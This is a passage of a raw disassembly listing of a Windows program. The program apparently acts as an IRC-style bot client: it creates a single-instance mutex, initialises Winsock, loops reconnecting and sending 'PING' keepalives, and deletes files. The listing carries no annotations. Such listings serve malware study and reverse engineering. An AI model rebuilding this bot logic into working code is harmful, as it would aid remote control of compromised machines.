		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE00


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41D9E8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	dword_41DA2C
		push	dword_41DA28
		push	3B7h
		push	dword_41DA24
		push	0
		push	dword_41DA20
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: .data:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: .data:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: .data:0041687Cj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: .data:004168ACj
					; .data:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: .data:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA20
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA20
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC00, eax
		call	sub_410422
		mov	dword_41EC04, eax
		call	sub_410422
		mov	dword_41EC08, eax
		call	sub_410422
		mov	dword_41EC0C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE00
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: .data:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: .data:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: .data:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DE00
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: .data:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset dword_41EAFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EAFC
		push	offset dword_41EC10
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: .data:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: .data:0041695Cj
					; .data:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup


loc_4169F8:				; CODE XREF: .data:00416A43j
					; .data:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: .data:00416AE2j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: .data:loc_416A6Fj
					; .data:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: .data:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: .data:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: .data:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: .data:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: .data:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: .data:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416AC5:				; DATA XREF: .data:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416ADB:				; DATA XREF: .data:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DE08, 0
		jz	short loc_416B1E
		push	offset dword_41DD20
		push	offset dword_41DA80
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: .data:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; .data:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: .data:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
